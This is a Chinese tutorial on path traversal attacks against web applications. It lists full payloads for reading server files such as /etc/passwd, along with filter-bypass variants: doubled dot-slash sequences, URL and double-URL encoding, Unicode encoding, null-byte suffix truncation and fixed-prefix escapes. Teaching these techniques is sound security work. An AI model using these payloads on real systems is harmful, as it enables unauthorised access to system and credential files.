路径穿梭

路径穿梭（也称为目录遍历）是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线（../）”序列及其变化的文件或使用绝对文件路径来引用文件的变量，可以访问存储在文件系统上的任意文件和目录，包括应用程序源代码、配置和关键系统文件。

原理：

如果在网页上要显示一个物品的图像，部分会用通过HTML加载，例如：

```
<img src="/loadImage?filename=freedom.png">
```

使用filename参数来读取图像文件，图片的位置可能会在 /var/www/images/ 中，所以真实的路径是 /var/www/images/freedom.png

在linux和windows操作系统中，../ 都是返回上一级路径的语法；

这就导致了我们可以读取服务器上的任意文件：

```
https://www.*****.com/loadImage?filename=../../../etc/passwd
```

filename的参数值与真实路径组合起来就是：

```
/var/www/images/../../../etc/passwd
```

其等价于：

```
/etc/passwd
```

攻击技巧：

相对路径遍历：

例如上文讲的例子

绝对路径遍历：

网站有时候会采取目录遍历的防御措施，如过滤 ../ 等关键字，然后简单的过滤通常可以被绕过。有时候可以直接采用绝对路径，无须../返回上一级目录遍历：

例如，上文中的

```
?filename=../../../etc/passwd
```

因为../被过滤了，所以我们采用绝对路径来进行访问

```
?filename=/etc/passwd
```

双写绕过：

有时候的防御措施时将../转化为空，我们就可以采用双写绕过

如果在..../中，将../替换为空，最后的路径就变成：

....// => ../

所以我们要构造为

```
?filename=....//....//....//etc/passwd
```

编码绕过

URL编码绕过

采用URL编码来绕过服务器对 . 或者 / 的检测

```
.  => %2e

/  => %2f

%  => %25 (双重URL编码)
```

```
?filename=../../../etc/passwd
```

以下所有格式都是对上面的代码进行编写

例如单独对/进行编码构造为

```
?filename=..%2f..%2f..%2fetc/passwd
```

单独对.进行编码

```
?filename=%2e%2e/%2e%2e/%2e%2e/etc/passwd
```

对./一起进行编码

```
?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
```

双重URL编码，即对%进行编码

```
?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
```

16 位 Unicode 编码

```
. = %u002e
/ = %u2215
```

非常规组合

“.”、“/”、“”,三个符号随意的组合多次，进行绕过，如必要还可以添加其他符号进行尝试。下面是示例。也就是有点进行Fuzz的意思

```
....//....//etc/passwd
..///....//etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
..././
...\.\
..;/
```

绝对路径配合../

有些网站在获取filename图片文件的时候，会首先判断是否以一个固定的路径开头：

那么就可以配合../来返回上一级遍历任意文件：

```
?filename=/var/www/images/../../../etc/passwd
```

截断文件后缀

某些web对filename的文件类型作了限制，只有当后缀为特定格式时才解析

这时候就可以利用 %00 来截断：（在PHP 5.3.4中被修复）

比如要求后缀为jpg

```
?filename=../../../etc/passwd%00.jpg
```

也可以在末尾添加?

目录限定绕过

有些Web应用程序是通过限定目录权限来分离的。可以使用一些特殊的符号`~`来绕过。比如提交这样的`xxx.php?filename=~/../boot`。就可以直接跳转到硬盘目录下。